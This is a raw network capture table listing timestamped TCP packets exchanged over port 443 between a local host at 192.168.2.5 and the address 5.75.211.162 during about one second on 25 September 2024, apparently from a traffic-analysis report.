Sep 25, 2024 20:49:30.732918024 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:30.732981920 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:30.732986927 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:30.733031034 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:30.774736881 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:30.774756908 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:30.774815083 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:30.774818897 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:30.774868011 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:30.782808065 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:30.782826900 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:30.782893896 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:30.782897949 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:30.782939911 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:30.797719955 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:30.797738075 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:30.797820091 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:30.797823906 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:30.797874928 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:30.798130035 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:30.798146963 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:30.798207045 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:30.798211098 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:30.798257113 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:30.798546076 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:30.798563004 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:30.798616886 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:30.798620939 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:30.798662901 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:30.799036980 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:30.799058914 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:30.799110889 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:30.799117088 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:30.799159050 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:30.824934006 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:30.824950933 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:30.825018883 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:30.825026989 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:30.825074911 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:30.825283051 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:30.825301886 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:30.825336933 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:30.825341940 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:30.825387001 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:30.867166996 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:30.867187023 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:30.867283106 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:30.867290020 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:30.867341042 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:30.875144005 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:30.875164986 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:30.875304937 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:30.875318050 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:30.875370026 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:30.889986038 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:30.890010118 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:30.890084028 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:30.890096903 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:30.890134096 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:30.890161037 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:30.890355110 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:30.890372038 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:30.890425920 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:30.890429974 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:30.890470028 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:30.890634060 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:30.890652895 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:30.890692949 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:30.890696049 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:30.890738964 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:30.891025066 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:30.891043901 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:30.891096115 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:30.891099930 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:30.891139984 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:30.917350054 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:30.917371988 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:30.917540073 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:30.917548895 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:30.917651892 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:30.917767048 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:30.917789936 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:30.917867899 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:30.917872906 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:30.917937040 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:30.959410906 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:30.959429026 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:30.959546089 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:30.959554911 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:30.959595919 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:30.968317986 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:30.968342066 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:30.968625069 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:30.968647003 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:30.968728065 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:30.982196093 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:30.982214928 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:30.982301950 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:30.982309103 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:30.982359886 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:30.982485056 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:30.982500076 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:30.982559919 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:30.982566118 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:30.982613087 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:30.983340025 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:30.983361959 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:30.983433008 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:30.983438015 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:30.983448029 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:30.983467102 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:30.983470917 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:30.983477116 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:30.983532906 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:31.018553972 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.018572092 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.018712044 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:31.018717051 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.018771887 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:31.018877029 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.018892050 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.018946886 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:31.018951893 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.019001007 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:31.052387953 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.052405119 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.052618027 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:31.052623034 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.052700996 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:31.060661077 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.060679913 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.060803890 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:31.060810089 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.060893059 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:31.074930906 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.074949980 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.075170040 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:31.075192928 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.075243950 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:31.075304031 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.075320005 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.075388908 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:31.075396061 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.075444937 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:31.075860023 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.075880051 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.075938940 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:31.075943947 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.075979948 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:31.076325893 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.076340914 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.076406002 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:31.076411963 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.076458931 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:31.102104902 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.102123976 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.102344990 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:31.102358103 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.102368116 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.102396965 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.102430105 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:31.102437019 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.102459908 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:31.102489948 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:31.144864082 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.144882917 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.145180941 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:31.145201921 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.145257950 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:31.153239965 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.153256893 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.153378963 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:31.153399944 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.153455019 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:31.167329073 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.167350054 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.167545080 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:31.167567015 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.167690992 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.167722940 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.167763948 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:31.167768955 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.167784929 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:31.167896032 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:31.168135881 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.168154001 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.168210983 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:31.168215036 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.168253899 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:31.168456078 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.168471098 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.168524981 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:31.168529034 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.168571949 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:31.194645882 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.194664955 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.194726944 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.194742918 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:31.194751024 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.194809914 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:31.237102985 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.237126112 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.237318993 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:31.237330914 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.237508059 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:31.245522976 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.245541096 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.245660067 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:31.245665073 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.245753050 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:31.259624004 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.259643078 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.259820938 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:31.259829044 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.259876966 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.259896994 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.260010958 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:31.260015965 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.260037899 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:31.260129929 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:31.260320902 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.260340929 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.260406017 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:31.260411024 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.260458946 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:31.260802984 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.260822058 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.260886908 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:31.260890007 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.260940075 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:31.287015915 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.287038088 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.287199974 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:31.287221909 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.287267923 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:31.287373066 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.287410975 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.287442923 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:31.287446976 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.287471056 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:31.287488937 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:31.330636024 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.330655098 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.330874920 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:31.330882072 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.330929995 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:31.337975979 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.337997913 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.338088989 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:31.338093996 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.338139057 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:31.352767944 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.352798939 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.352929115 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:31.352936029 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.353004932 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:31.353653908 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.353669882 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.353746891 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:31.353750944 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.353804111 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:31.354615927 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.354635000 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.354713917 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:31.354718924 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.354769945 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:31.355559111 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.355581999 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.355653048 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:31.355657101 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.355717897 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:31.379693031 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.379719973 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.379791975 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:31.379796982 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.379847050 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:31.379986048 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.380003929 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.380057096 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:31.380062103 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.380105972 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:31.422277927 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.422298908 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.422363997 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:31.422370911 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.422420025 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:31.430563927 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.430582047 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.430634975 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:31.430640936 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.430660963 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:31.430682898 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:31.445214987 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.445236921 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.445327044 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:31.445338011 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.445382118 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:31.446019888 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.446034908 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.446103096 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:31.446106911 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.446149111 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:31.447016001 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.447036982 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.447102070 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:31.447107077 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.447151899 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:31.447854996 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.447870970 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.447935104 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:31.447938919 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.447982073 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:31.472027063 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.472047091 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.472366095 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.472378016 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:31.472393036 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.472551107 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:31.514591932 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.514616966 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.514766932 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:31.514781952 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.514838934 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:31.522857904 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.522883892 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.522955894 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:31.522962093 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.523006916 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:31.537652016 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.537671089 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.537745953 CEST	49720	443	192.168.2.5	5.75.211.162
Sep 25, 2024 20:49:31.537753105 CEST	443	49720	5.75.211.162	192.168.2.5
Sep 25, 2024 20:49:31.537790060 CEST	49720	443	192.168.2.5	5.75.211.162
